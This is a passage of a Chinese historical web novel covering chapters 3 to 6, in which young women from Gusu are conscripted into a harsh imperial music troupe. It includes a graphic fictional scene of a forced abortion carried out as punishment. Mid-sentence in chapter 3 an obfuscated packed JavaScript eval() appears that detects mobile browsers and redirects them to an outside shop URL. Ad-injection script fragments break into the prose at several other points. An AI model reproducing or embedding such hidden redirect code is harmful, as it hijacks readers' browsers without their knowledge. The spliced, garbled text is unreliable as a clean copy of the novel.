《恰与梨花同梦》 3. 第 3 章 从姑苏到上都,风雪连着一程又一程。 在家的时候,吃穿都有人照应,就算最艰难的年月,身边至少还有一两个女使。如今呢,离开家,再也不是深闺中的娇女郎了,没有伺候的人,吃穿住行都得靠自己。 因为新朝甫立,一度被弃用的上都需要重建,水路暂且只作官用,用来运送粮食和茶盐。官船不载人,她们只能走陆路,这一行千余里,靠两个轮子滚碾出来,其中艰辛,可想而知。 太常寺急需乐工,所给的时间并不充裕,几乎是日夜兼程。有时候不凑巧,赶不上驿站,只能在野外过夜。 十一月的天气,正是一年中最冷的时候,没有那么多火堆供人取暖,女孩子们只能挤在一起。负责伙食的杂役趁着夜色还未降临,逐一分发饼子,至多再给你一碗热汤。姑苏城里征集出来的女郎们,基本都有不错的出身,大家茫然坐在雪地里,茫然地对望,都是一脸愁苦的模样。 手背被寒风吹得生疼,扣着陶碗的手指冻僵了,不小心一抖,热汤泼了满身。擦拭来不及了,很快渗进袄裙里,很快又结了冰。苏月看那个女孩怔怔发呆,最后终于放声大哭起来。 很奇怪,走了好几天,所有人都安安静静地,仿佛情绪被封存住了,谁也不敢打破看不见的屏障。但压抑得太久,早晚会失控,只需要一个契机,心底的委屈和怨恨就会倾泻而出,那个女孩的哭声,成功引出了成片的啜泣。 “我不去上都,我要回家。” 气冲了头,就有些不管不顾了。那个女孩冲着队伍里的士曹参军大喊:“就算是死,我也要回家!” 一旦有人带头,群情不免激奋,以为法不责众,只要反抗的人够多,就有回到姑苏的希望。 看四周纷纷有人起身,苏意自然也受了鼓舞。正要跟着附和,却被边上的苏月一把拽住了。 离开姑苏的头一天,苏月就从人堆里发现了这个堂妹。虽然早前长房和三房并不算亲厚,但在这样孤绝的情况下,能遇见一个亲人,已经是上天的眷顾了。 不过苏意年纪小,行事还有些莽撞,见苏月拽她,纳罕地望了族姐一眼,心里未必不觉得她胆小怕事。 苏月没言声,只是望向那个士曹参军。行伍出身的人,没有那么好的脾气来安抚女郎们。 他听见这两句话,满脸阴沉地走向那女孩,几乎没有任何迟疑,扬手就是一记响亮的耳光。 “啪”地一声,震惊了所有人,也打醒了所有人。 “要入梨园,首要一条就是守规矩。”士曹参军一字一句地说,目光像蛇,吐着凉信扫向所有人,“老子不管你们姓甚名谁,路上只要敢出乱子,老子就打得你们找不着北。别以为自己是富户小吏家的女郎,就给老子装腔作势,现如今你们只有一个身份,良家子!何为良家子?平民家的女儿就叫良家子。但凡上得台面的,也不来充内敬坊了,别自视甚高,给老子添麻烦。这一路安安稳稳到了上都,往后你们想见我也见不着,彼此忍耐些,免得自讨苦吃。要回家的话也别再说了,既然已经应选,死也回不去了。” 不留情面的话像刀子,扎得人千疮百孔。 苏意心有余悸,忐忑地望了望苏月。苏月端起茶汤,默默朝她递了过去。 给过下马威后,队伍里果然再也没人吭声了,挨了打的女郎也只能悄悄抹泪。 众人和着西北风,勉强填饱了肚子,返回车上后苏意问苏月:“ 阿姐,太常寺征我们入梨园,是奉了朝廷的命令。那个士曹随意打骂,不怕朝廷怪罪吗?” 一辆车里挤了四个人,三双眼睛都直勾勾地望着她。 苏月叹了口气,“没人在意我们的死活,说是良家子,其实入了内敬坊,等同贱籍。大梁刚立国,从各处采选民女充入梨园,单是姑苏就有三十八人,加上别处的,少说也得上千。这么多的人,死了几个算得了什么。也别指望尸首能回家,就地找个地方埋了,谁会送你回姑苏!” 话说到这里,大家终于彻底接受了这个事实。只身在外,性命要靠自己保全,活路要靠自己挣。你要是闹脾气犯犟,士曹的鞭子会毫不容情地落下来,打花了脸,连做搊弹家的机会都没有了,直接去做最下等的杂妇人,干着最微贱的活儿,永远没有出头之日。 苏意泄了气,抱着阿姐的手臂,枕在她肩头。前路茫茫,不知道将来会怎么样,抓住苏月,也算有了依靠。 车队穿过风雪,继续前行,所经一路上见闻不少,才知道姑苏比起外面的州府,已经算太平盛世了。 大战之后,饿殍遍野,到处都是背井离乡的灾民。尤其这样的时节,大雪封山,斗骨严寒,头上连块遮挡的瓦片也没有,走了一路,一路上到处都是倒卧。 女孩子们先前还因采选情绪低落,但在见到那些惨况后,反倒逐渐平静下来了。 连日下雪,路很不好走,这一千里,走了二十多天才抵达。 不过越接近上都,民生越好,这国家如伤后重愈,杀伐渐渐平息,元气自然就恢复过来了。 车队顺利到了太常寺前,奉使领着三十八名良家女复命,一行人乘着暮色被送进梨园,齐齐站在衙门前的场地上接受审阅。 太常寺最大的官儿是卿,底下还有少卿和梨园使。少卿过了目,沉默着点点头,梨园使是直接经手的官员,对新人的挑选更仔细,打量再三感慨:“姑苏果然人杰地灵,我看这些女郎的容色,比之其他州府强了许多。” 少卿掖着手淡淡一笑,“江南出美人,姑苏又是龙潜之地,好山好水养人,选出来的自然都是翘楚。”嘴里说着,视线漫不经心从苏月脸上划过。 “只是不知道通音律的有多少。”梨园使扭头问奉使,“征选的时候问明白了吗?” 奉使胸有成竹,“江南闺阁里讲究琴棋书画样样精通,这些女郎都是有一技之长的,送入云韶寺或银台院都使得。” 云韶寺、银台院及宜春院,是内敬坊三院。宜春院住的是前头人,那是品貌最为出众的一群女乐工,佩鱼袋,有品阶,常在皇帝面前演奏。云韶寺住的是宫人,才貌逊于前头人,擅歌舞,属贱隶。最后的银台院,住的是搊弹家,她们这些从民间征选来的女乐工,大多会收入其中。 梨园使心下很满意,对少卿道:“接下来几场宴乐正缺人手,我这里都快周转不开了,这些乐工来的正是时候。只不过要尽快安排习学,宜春院的内人教一日就能上场,唯有这搊弹家,没有个把月,调理不出来。” 少卿的办法简单直接,“时间不够,那就日夜加紧排练,除了吃饭,手上的乐器别放下。先应付过正月十五,等开了春,再好好歇息。” 梨园使说是,两个人低头商议着,往官衙正堂去了。 大家听见这番话,心头直打鼓,但也不容她们发呆,很快太乐令就来了,把她们带进内敬坊,先查验她们的功底,再酌情分派去处。 苏意紧紧握着苏月的手,小声哀求:“阿姐,我们不要分开好不好?我一个人落了单,怕会被人欺负。” 先前从姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13765668|145621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏出发,半道上发现彼此,苏意哭着要和她在一起,苏月使了些银子,才换得她和自己同乘一辆马车。阿妹依赖她,她也不能放任她不管,便应了声好,把她推到自己前面,让她先去挑选乐器。 搊弹家所用的,无非是琵琶、五弦及箜篌。苏意的琴技并不好,一把箜篌弹得将将过关,被分入了银台院。 轮到苏月了,太乐令一见她就寄予厚望,特意叮嘱了一声,“好好弹,前头人还未满员,只要弹得好,就让你入宜春院。” 苏月微低了低头,接过琵琶。 关于这位族姐的技艺,苏意是知道的。早前过年,一家人聚在一起吃年夜饭,苏月常会弹上一曲助兴。那时战乱还未起,她也就十三四岁吧,弹的那个曲子如行云流水,家里哪个不夸赞她。现在要应选了,凭她的能力,必定会选入宜春院,因此她还没抬手,苏意就先灰了心。 可谁能想到,她这回的弹奏,简直像初学不久。本来看好她的太乐令一下子大失所望,拧着眉头咬着唇,盯了她半晌。最后沉重地叹口气,命典簿登记造册,“辜苏月,入银台院,小和春。” 苏月向太乐令褔了福身,退回苏意身旁。银台院分好几处院落,有小和春、山耶云耶,还有花满市。恰好苏意也被安排在小和春,这下离得很近,可以相互照应了。 可这苏意不知是不是缺心眼,纳罕地蹦出一句:“阿姐这两年技艺生疏了,怎么弹成这样?” 苏月无奈地瞥了她一眼,没应她的话。 前头人的选拔相较而言要严苛得多,才貌必须经得起考验。姑苏来的三十八人里,最后只有一位姓朱的女郎入选,余下的都被领进了银台院,由园内宰分派住处。 园内宰是专管内敬坊教化的,上了点年纪的妇人,看上去凶巴巴,很不好相处。那双眼睛望向人时,即刻能让你遍体生寒,说话也并不轻声细语,嗓门里夹带着砖石瓦块,迎面呼啸而来:“入我内敬坊的门,就是我内敬坊的乐人,从今日起专心习学雅乐,承办一切宫廷王宅大宴助兴事宜。诸位初来乍到,有些丑话须得说在前头,乐工凭本事吃饭,最忌搬弄是非,兴风作浪。这梨园内,共收编乐工舞者一千两百七十二人,其中内敬坊五百零八人,全是年轻女郎,年岁不过二十。小娘子们有小脾气,拌嘴闹别扭是常事,不让我知道则罢,要是闹到我跟前来,我不管谁对谁错,一律按同罪论处。” 话说完,冷冷的视线扫向众人,仿佛要从那一张张稚嫩的脸上,找出哪怕一丁点的反抗和不满。 确定众人都服管,这才又道:“没有规矩,不成方圆。内敬坊的刑罚很多,禁食杖责都不算什么,更厉害的诸如蹲锁、幽闭、水滴刑等,前朝有不少人领教过。不过眼下新朝初建,百废待兴,我愿意开个好头,与大家和睦共处。我尽心教你们规矩,你们尽力学好技艺,他日平步青云飞上枝头,自然会感念我的好处。” 众人齐齐说是,从内宰的字里行间也分辨明白了,她们这些人最好的出路,就是依附权贵。 该交代的都交代完了,内宰命底下的司乐和掌乐引她们进小和春,按序给她们指派屋子。一间通常住四个人,地方还算宽敞,至少走动的时候不必侧身。 连日舟车劳顿,实在让人精疲力尽。内宰发话明早才开始演练,大家各自放下包袱,收拾铺盖,本以为可以早点歇下的,谁知刚坐定,就听见院子里传来吆喝声,司乐急匆匆挨个儿敲门,“手上的活计放一放,姑苏新入选的搊弹家都出来,宫中派遣内官,来核实身份了。” 4. 第 4 章 说起宫里核实身份,苏月没来由地心头一跳。别人都是坦坦荡荡,自己却有些踟蹰,仿佛做了亏心事般。 其实也是先前全家担忧,才重又引出了拒婚那件事,否则她早就忘了这茬了。现在再想起,她还是觉得阿爹杞人忧天了,事儿过去了三年,人家未必还记得。毕竟提亲也好,拒婚也好,都是两家大人的决定,他们连面都不曾见过。自己也是被家里人影响了,猛不丁听见宫里来人,居然跟着哆嗦了一下。 “阿姐,快走。”苏意见她延捱,扬手招呼她。 苏月应了,打起精神从屋里出来,同行的三十七人在院子里列好了队,等着内官来查验。 宫里出来的人,自有一种游刃有余的气度。那内官大约三十来岁光景,一张容长脸,五官很柔和,连说话的语调也是和风细雨的,笑着说:“苏杭的乐工,和别处来的不一样,陛下尤其看重。女郎们离家千里,来到这上都,想必一时难以适应,我是内侍省总领侍监盛望,虽是个微末之人,但长在上都,各处也说得上几句话。女郎们若是有什么难处,不必忌讳,直言无妨。” 他是一副家常的口吻,但大家分得清真心和客套的区别。内侍省里发号施令的人,怎么能来管这些鸡毛蒜皮,人家随口一说,你千万不能当真,不满的话一出口,就把内敬坊的官员们得罪了。 所以大家都是三缄其口,这位侍监等待片刻,没有等来任何反应,看她们个个低着头,复又一笑,“都是闺阁里的女郎,没有离开过家,难免会有些畏缩。”边说边吩咐陪同前来的梨园使,“她们是龙潜之地的人,吩咐底下人,要格外关照。” 梨园使道是,“侍监放心,早就叮嘱过了。” 侍监点了点头,接过典乐呈敬上来的名册,悠着步子开始逐一核对,“李镜夷,功德坊李镝之女。司道珠,曲和桥司有光之女。辜苏月……升平街辜祈年之女……” 也不知是不是多心了,苏月听见他读到自己的名字时,语速分明缓了缓。然后那双皂靴便停在她面前,赞许道:“姑苏月……好别致的名字,且人如其名,果然不一般。” 苏月伏了伏身,“侍监过奖了,我是平庸之辈,枉担父母的厚爱,唯恐折辱了这个名字。” 侍监微摆了下手里的名册,“小娘子何必妄自菲薄,明月早晚会有高悬的一天,到时候还愁辜负父母的期望?”说罢笑吟吟驻足片刻,这才负着手,检验剩下的女郎去了。 三十七人,一一都查问完毕,侍监对梨园使道:“我看这些小娘子都有慧根,仔细调理,将来是内敬坊的中流砥柱。眼看要过年了,这是大梁立国后头一个重大的吉庆日,从小年夜开始,燕乐歌舞要安排至元宵节,陛下款待功臣良将,还有皇亲国戚、外邦使节等,每一场都要费心安排。姑苏是龙潜之地,姑苏来的乐工若是能演奏吴地乐曲,必定能讨个好口采,你这梨园使,平步青云就从这上头来了。” 这么大个饼子扣下来,梨园使当然极力想张嘴接住,但空有野望,捉襟见肘也是没法儿。 “侍监您圣明,这梨园既然落到我手里,将雅乐发扬光大,亦是卑职的愿望。只是眼看就要到年下了,这些女郎刚入梨园,乐器还没上手,能耐斤两也没摸透,只剩二十来日了,恐怕仓促行事,到时候要出乱子。” 侍监闻言一笑,“顾使办事太稳当了,真真滴水不漏。世上无难事,只怕有心人,以你梨园使的手段,莫说二十日,就算十日,你也有法子让她们登台。” 梨园使满脸讪讪,“盛监就别给我戴高帽子了,搊弹家弥月不成,还是用前头人的好。这回的姑苏乐工里,有一位入选了宜春院,抬举起来容易得多。” 侍监却一哂,“孤木难成林,仅凭一人之力,再好的技艺也勾不出贵人们的思乡之情。” 这下梨园使没办法了,只得硬着头皮应下,“卑职尽力而为吧,倘或实在调理不出来,到时候还请盛监替我周全。” 侍监只是笑了笑,转头又打量了那些搊弹家一眼,“女郎们既然来了上都,就尽全力为自己挣一个好前程吧,也不白受了与父母兄弟离别之苦。” 众人道是,恭顺地行礼,待梨园使把人送出银台院,园内宰又见缝插针地训上了话,“内官的主张,大家都听见了?时间紧迫,不容你们歇着了。先前顾使只打算让你们候补,没想到这就要挑大梁,既然如此愈发要警醒,今晚早早歇下,明早四更起身,五更点卯。梨园里规矩重,说一不二,要是有谁误了时辰,什么都不必说了,即刻降为杂妇,去学那些胡乐散乐、杂技百戏去吧。” 大家听了这话,都不敢含糊。以前战乱,人只要能活着就行了,还讲什么规矩体统。现在进了梨园,才发现这里等级森严,前头人、搊弹家、杂妇人,就像越不过的高山,品秩降下去了,再想爬上来就难了。 所以就算有反骨的,这刻也得拍碎了。赶紧回直房收拾收拾躺下,免得督奉向上禀报,给自己寻不自在。 所谓的督奉,就是在内敬坊日久的老人儿,老人带新人,帮助她们更快适应。苏月这间分到的督奉名叫符采,年纪比她们大一些,为人很热心,不像别的直房那么严苛,四更天就开始呼喝。 苏意在家时父母溺爱,小脾气很有一些,爱抱怨。听见外面吵嚷,拧着眉头说:“等时候长一些,我们也是老人儿,这么不留情面做什么!” 符采早就收拾好了,靠在门边吃核桃仁,一面道:“园内宰吩咐过,新人要是犯错,我们这些导人同罪。她们着急也是情有可原,毕竟谁也不愿意无端被降罪,本来活着就不容易。” 苏月上下都整理停当了,回身问:“督奉是哪一年入梨园的?我们初来乍到,不懂规矩,有失当之处,还请督奉提点。” 符采道:“好说。往后咱们住一间屋子,不用管我叫督奉,显得生分。我比你们年长,就叫我阿姐吧!我是太清二年入梨园的,前朝幽帝一不顺心就改元,改来改去我都算不清年月了。反正我是十四岁采选进来的,至今已有八年了。” 年纪最小的邝筝忙道:“阿姐进来八年,必定摸透了园里的章程。你想家吗?想回家吗?” 三个人都怔怔望着她,符采沉默了片刻笑起来,“进了梨园,哪还有出去的一日。除非有达官贵人看上你,想办法买通太常寺的人,把你带出去。至于我,我是不打算出去了,能混一日是一日吧!我的老家在巴东郡,头几年那里接连遭受天灾,到了豪强并起的年月,仗又打得比别处凶,我的父母家人说不定早就死了,就算回去也找不到家了,还出去干什么。” 她这么一说,大家不免有些难过。苏意问:“家里人就没来找过你吗?” 符采摇了摇头,“梨园有个白云亲舍,是专用来会亲的。那里一年到头门窗紧闭,从没有接待过访客,你们要是不信,大可去问问。” 也就是说女儿进了梨园,家里基本已经放弃了,无力回天,只好当做没有生养过。这样看来,乐工实在算是最可怜的一群人了,安慰自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己曲乐高雅,不同于端茶倒水伺候人,但说到底,乐人其实更低一等,低得让至亲的家人都羞于启齿,低得宁愿扔在梨园自生自灭。 也许实话过于伤人,大家脸上都有愁色。符采见她们这样,知道自己说错话了,忙换了个轻快的语调道:“不过我们做乐工的,俸禄比一般宫人多多了,每月有二两八钱。要是能进宜春院,拔尖的有五两之巨……天爷,这么多钱,怎么用得完!听说她们会攒起来,放到质库里钱生钱。将来取出来置办房产田地,等暮年放出去的时候,就有栖身之所了。” 这里正说着,忽然听见外面传来当当的打磬声,符采忙招呼:“快快,都上大乐堂点卯去。” 大家忙抱起自己的乐器,匆匆赶往前院。因昨晚进上都,天已经快黑了,下车的时候被驱策着进了一处高大的门楼,只看见四面高墙并起,并不知道梨园所在的位置,是紫微宫内的圆璧城。 到了今天进太乐署大乐堂,穿过一条宽坦的墁砖直道,借着晨曦向南张望,才看见远处巍峨连绵的宫殿群。 率领着队伍的太乐丞慢条斯理告诉她们:“圆璧城由青龙直道一分为二,东隔城是吹鼓署和太乐署所在,西隔城属内敬坊。我们这儿和禁内之间,隔着玄武城和曜仪城,那两座隔城加起来,都没有我们的地方大。所以宫中很看重梨园,不管是国宴还是王侯府上家宴,都少不了梨园的乐工。” 苏月抱着琵琶又朝南望了一眼,只觉宫阙高入云天,在深蓝的夜幕上描绘出墨黑的阴影,细看让人恐惧。 前面的太乐署里倒是灯火通明,宽阔的门廊上竖立着五根合抱粗的红漆抱柱,直棂门洞开着,里面挂着成排的灯笼。先到的乐工在调弦,叮叮咚咚一片杂乱的弦音,但却听不见一句闲谈,一声咳嗽。据说那些已经就坐的曼妙身影是宜春院的前头人,正预备除夕大宴的演出。果然都是精挑细选出来的,单只是坐在那里,就是一幅赏心悦目的画卷。 随着太乐令手势起落,乐声响起来,是宫廷燕月《景云河清歌》。前调悠扬婉转,后曲庄严磅礴,那声浪仿佛是有形的,扑面而来,带着一种势不可当的力量。 苏月看见苏意脸上艳羡的神情,她总是间歇性地精神振作,拽着她的袖子说:“阿姐,我将来也要成为那样的乐人。” 目标很明确,志向也很远大,但这些憧憬在被领进乐室不久,很快又熄灭了。苏意的根基弱,从压弦的手势开始,一路需要指点。太乐师越是盯着她,她越心慌,越是纠正她越迷茫。好不容易支撑到晚上,回来一头栽在床褥间,痛哭流涕起来。 苏月只得劝她,“以前咱们在家是弹着玩的,现在要合这里的规矩,难免手忙脚乱。” 可苏意并不听她的劝,“那太乐师怎么不去指正阿姐,光来挑我的刺?” 符采和她们一同排演,旁观了一整天,早就看出端倪了,“因为你阿姐的技艺远在你之上。”复又问苏月,“你是为了照应这个阿妹,刻意留在银台院的?” 内行人面前就不用刻意隐瞒了,苏月笑了笑道:“银台院没什么不好,同乡全在这里,乡音听着亲切。” 符采叹了口气,“等日子一久,你就明白其中利害了。” 话音方落,听见外面隐约传来吵嚷,出去打水的邝筝进来,缩着脖子说:“我看见典乐手里提着老粗的擀面杖,一脸怒气冲冲的样子,朝对面直房去了。” 符采却满脸怅然,“又出事了……你们别出声,我带你们过去看看。” 5.第 5 章 天已经黑了,能出什么事儿呢,但这巨大的圆璧城,本来就封存着很多秘密。她们刚进来,对一切都很好奇,加之符采不像别的督奉一样,让她们这不许问,那不许管,反倒带头要领她们去看看。于是趴在床上的苏意也一骨碌儿爬起来,蹑着手脚,跟在符采身后潜出了直房。 小和春说是银台院的一处院落,其实占地很大,院内一排连着一排的翘角屋子,要是没人引领,夜里很容易迷路。 符采在内敬坊许多年,早就摸熟了这里的一砖一瓦,从哪里绕过去不会被发现,挨在哪个屋角能纵观全局,她都知道。 循着声,穿过两道小巷,终于找到那间屋舍。符采熟门熟路地示意她们藏好,自己拉着苏月,探头朝屋里观望。 屋子没关门,一个女乐被几名傅姆按在两尺宽的条凳上,任凭她怎么哭喊,那些人脸上不见半点动容。 麻绳从不迟到,左缠右绕,很快把手脚紧紧绑缚起来,那乐工再也挣扎不了了,只能哀声央求:“王典乐,求求你,放我一条活路吧。” 背对着门扉的典乐语气阴沉,“你不是新来的,园里的规矩你不知道吗?就因为你们不自爱,害得我手上常要沾血,我得吃多少斋,念多少佛,才能赎清这罪孽!” 苏月隐约听出了原委,惊讶地望向符采。 符采沉重地眨动一下眼睛,大约见得太多,已经麻木了,面色也像那些傅姆一样,没有半点波澜。 再朝屋里看去,符采的嗓音在耳边幽幽响起:“不关门,是怕困住阴灵……” 符采的话像注解,更加让人确信接下来要发生的事了。只不过手段比苏月想象的更可怕,邝筝提及的擀面杖,这个时候终于登场了,一个身材魁梧的傅姆抓住两端,把套在中间的那截木墩子抵在乐工的小腹上,然后来回滚动、滚动……只听那个乐工惨叫连连,声量越来越弱,最后昏死过去了。 苏月惊得目瞪口呆,“会出人命的!” 苏意和邝筝都给吓傻了,怔忡地望着符采,说不出话来。 符采撇唇苦笑了下,“怀了私孩子,本来就犯天条。要是能打下来,这件事就揭过了,打不下来一尸两命,也没人会追究。”行刑的过程看见了,不能久留,她猫着腰摆手,“走吧。” 苏月还愣在那里,想看那乐工能不能醒过来,符采没给她这个机会,悄悄把她拽了回去。 回到直房后,她还是想不明白,“就算孩子不能留,为什么不找医官?明明可以用药的。” 符采淡淡应道:“用了药,还能算是刑罚吗?” 这是无可辩驳的理由,乐工犯了错,那些管事的女官们一定会拿出手段来惩处。人教人,总也教不会,事教人,一次就会了。与其长篇大论向她们描述内敬坊的黑暗,倒不如让她们亲眼得见。 符采吁了口气道:“梨园的规矩是铁打的,半点不能触犯。乐工抛头露面,有些会被权贵们瞧上,内敬坊不强留人,但在脱籍之前,首要一条就是不能怀上私孩子。这里全是年轻女郎,一个破了例,后面就管不住了,因此上头管束起来,都是下死手的。我领你们看,是想让你们知道利害,将来别被那些舌灿莲花的男人给骗了。我们圈在这笼子里,等闲飞不出去,要是摊上个不守信的男人,闯了祸再也找不见了,所有苦难都得女孩儿们来受,何苦呢。” 真是血淋淋的前车之鉴,大家听完连连点头。 苏月还在担心那个乐工,“她出了那么多的血,能止住吗?” 符采垂着眼睛道:“傅姆会预备一盆草木灰垫在她身下,余下的就听天由命了。到明日再去看,活着抬回直房将养,要是死了,破草席一卷,埋到城西的乱葬岗,这件事就了结了。” 邝筝年纪小,见过这些,魂儿都吓掉了一半,“人命真是卑如草芥……” “所以我惜命,毕竟活到新朝不容易。”符采靠着床架子,散淡地说起了往事,“你们身在江南,不知道我们的苦难。前朝覆灭之前,幽帝和皇亲国戚都疯了,他们拨弦,让乐工们光脚绕着狩猎场跑。跑得快的,赏酒一杯,跑得慢的,赏箭一支。反正我们这些活下来的人,技艺未必最好,但一定是跑得最快的。” 人人以为梨园乐工打扮得光鲜,陪着贵人们享乐就成了,却不知道光鲜背后隐藏了多少辛酸。 不过符采很快重又浮起了笑,换了个轻快的语调说:“好在改朝换代了,听闻新帝通音律,也不难为乐工。上回登基大典,前头人全去奏乐了,也没见谁给扣下,不让回来。” 苏意一听,顿时两眼放光,拿手肘顶了顶苏月,“阿姐,他竟然通音律……” 这话引得符采诧异,称新帝为“他”,乍听不由让人怀疑,是不是同乡之外另有渊源。 苏月吓了一跳,唯恐苏意说漏了嘴。这事现如今看来是个笑谈,但要是传扬出去,未必不会引出新麻烦。所以她慌忙补救,轻喝了苏意一声,“要称陛下!什么他呀他的,在屋里信口胡诌还尤可,要是被外人听见了,论你个不恭的罪过,会被拖出去打板子的。” 苏意经不得吓唬,慌忙捂住了嘴。 苏月冲符采笑了笑,“当今陛下是姑苏人,没准儿街市上曾见过,因此并不觉得陌生。” 符采调转视线扫了苏意一眼,“陛下和咱们隔着十八重天呢,谨记不可妄议,也别胡乱攀附。” 苏意讪讪说是,心下有些不满,斜眼瞥了瞥苏月。 苏月只觉头疼,堂妹不是自己的亲妹妹,平时来往不多,脾气秉性也不甚了解。以前说她任性,因为各在各家,感触不深,也不值得关注。现在难兄难弟在一处,不管她,怕她惹事,管着她,她又不耐烦,实在让人苦恼。 碍于直房里有旁人,不便说话,只好等到第二天晌午吃饭的时候,找准机会和她单独商谈。 苏月拉她在无人的角落,压声叮嘱她:“我们出门在外,不像在家里,一言一行都要谨慎。” 苏意很不痛快,“我哪里又做错了,让阿姐特意找我训话?” 苏月被她回了个倒噎气,勉强平住心绪才道:“我只是同你提个醒,你心里有数就好。譬如家事,不要和人说起……” “阿姐是怕我告诉别人,你家早前拒过陛下的婚?”苏意一针见血,说完见她张口结舌,不由淡笑了声,“是阿姐拒了权家,又不是权家拒了阿姐,照我看来并不丢人。” 苏月虽然是个重感情的人,但并不表示她会惯着这个骄纵的堂妹。苏意刚说完,她就冷了眉眼,“我告诫过你了,你要是不听劝,逞口舌之快,将来惹了祸事不要牵连我,记住了?” 苏意怔了下,有些畏惧,但傲性驱使她不低头。气咻咻听完了,气咻咻转身就走,边走边嘀咕:“枉你是做阿姐的,到了外面不说疼我,反倒欺负我……” 苏月看她嘟嘟囔囔走远,只能望着她的背影兴叹。 那厢大乐还在排演,经过太乐师的严厉指正,大家终于摸着了些门道。苏意挨骂少了,也结交了朋友,不常粘着苏月了。有时候和人私谈,视线总是不经意朝她这边瞟过来,边说还掩嘴囫囵笑。看得符采一脑门子官司,冲苏月发牢骚:“你这阿妹,多少有些不知好歹。” 苏月抱着琵琶,勾了下弦,铮然一声清响,“阿妹长大了,遇见了志同道合的朋友,由她吧。” 符采远远打量苏意一眼,“我怎么觉得她在拿你说笑?” 苏月叹了口气,她们究竟在说什么,自己也管不了,只希望苏意记得她的嘱咐,别提无关紧要的前尘旧事就好。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>中晌腾出来吃饭的时间并不长,至多两刻钟罢了,放下筷子,即刻又得拿起乐器。多人合奏的雅乐,要想奏得好,难度可想而知。通常是曲调一起,万千气象,越到后面越疲软,渐渐泄光了气。 太乐令和园内宰站在一旁,一会儿点头一会儿摇头,满脸的惆怅。等到最后一曲收尾,发话让众人散了,内宰唤了苏月一声,“辜娘子,你留下。” 苏月说是,看着左右都退尽,自己俯首等候示下。 太乐令上下打量了她两眼,“那日内宰就同我说过,姑苏乐工中,应该入选宜春院的不止一位。我留意了你半日,你的琴技远在她们之上,虽然和前头人比起来略有逊色,但半个月时间的调理,足够登大雅之堂了。” 苏月迟疑地望了望园内宰,园内宰道:“佟令的意思是,要调你入宜春院。你入园当天,一把琵琶弹得锯木头一样,我还未问你欺上的罪过呢。眼下人手紧缺,就先不惩处你了,你收拾起来搬到宜春院去,明日跟着前头人一起练,别在小乐室浪费时间了。” “择五个人,要江南的。”太乐令道,“那日内侍省侍监下令,用姑苏乐工奏吴曲,梨园使定了《西湖雅韵》,今天看来是凑不起来了。我看挑选五个人奏《白纻曲》,以尺八为主,琵琶笙箫为辅,再佐以软舞。虽然不及大乐气势磅礴,但保留了江南的婉约,进可登大殿,退可入帐幄……”说到高兴处,用力击了下掌,“就这么办吧,我去和顾使商议,把乐单定下来。” 太乐令说完就负着手走了,内宰对苏月倒还算和颜悦色,“别为了姐妹情谊,断送前程。进了这地方,就要想尽办法往上爬,露脸的机会不是时时都有,过了这个村,可就没有这个店了。” 上面发了话,不是在和你打商量,只是例行通知罢了。苏月只得领命,回去把消息告诉了苏意。 苏意一时难以接受,起先板着脸不说话,到最后忍不住了,涩然道:“阿姐果然有本事,这就要搬到宜春院去了。那儿全是前头人,列队都是站首尾的,不愁见不着陛下。” 起先苏月还有些不放心,怕她一个人在银台院落了单,没有依靠。现在听她这几句话,才知道各人有各人的路,谁也不能陪谁一辈子。 取了块银子,她悄悄塞进符采手里,“我领命搬出去,没办法照应苏意了,还要偏劳阿姐,替我看顾她。” 符采推辞不迭,“原本就住一间屋子,谈不上偏劳。你要是给我钱,那就是看不起我了,难道我是个见钱眼开的人,没有银子就不办事了吗?” 她实在不肯收,苏月便再三向她道谢,十二万分领她这个情。 待再回身的时候,又好言宽慰苏意,“只是不在一个院儿里住,平时还能见面的。” 苏意负气坐在床上,扭过头不听她的。苏月看了她半晌,到底横下心,转身出去了。 宜春院在西隔城左翼,临近方诸门的地方,从小和春过去,得走上一程子。 苏月刚来内敬坊,没有四处走动过,路径也不熟,内宰派了个傅姆引导她,挑着一盏小小的羊角灯,穿夹道过小巷,一直把她送到了大院外。 “娘子,前面就是宜春院,回头有掌乐给你安排下处……”傅姆正交代,忽然顿住了,话没说完就低头后退了两步。 苏月有些纳罕,顺着她先前的视线望过去,见院门里站着个身穿公服的人,年岁大约二十七八,剑眉薄唇,微微眯着眼,颇有春风化雨的气韵。她想起来了,是头一天入德猷门,拜见过的太常寺少卿。 抬手一摆,傅姆很快退下了,少卿方才冲她一笑,“小娘子有技艺,不该埋没在银台院,还是调入宜春院更相宜。先前我代寺卿检点太乐署,恰巧路过这里,远远看见小娘子过来,便停下步子,同你打个招呼。” 6.第 6 章 一个并没有太多交集的人,忽然向你表亲近,这对孤身在外的女郎来说不是好事。 苏月生就一副机敏的性子,符采的话也谨记在心上,因此面对这位少卿时心存戒备,谨慎地俯身朝他行了个礼,“见过大人。” 对面的人仰起了唇,“不必客气,我姓白,白溪石,女郎唤我白少卿就是了。其实大乐堂里练曲,官署中的官员常会在镜台上观望,我曾留意过辜娘子,也知道凭你的技艺,不该埋没在银台院,因此知会内宰,找机会向太乐令举荐你,把你从搊弹家里调了出来。” 苏月这才明白过来,“蒙少卿提携,卑下谢过了。” 白溪石颔首,“辜娘子是可造之材,正因为你可堪重用,才让人有施为的余地。娘子不必谢我,该庆幸自己弹得一手好琵琶,让你在乐工中鹤立鸡群。” 其实苏月不太擅长交际,尤其是和陌生的男子,实在不知从何说起。 和苏意有了分歧之后,她确实想过要走自己该走的路,但对于是否立刻调入宜春院,没有太多的执念。早前留在银台院,也有她自己的打算,她一直记得阿爹的话,说会来上都接她。相较于受人瞩目的前头人,埋没在搊弹家里更容易抽身。 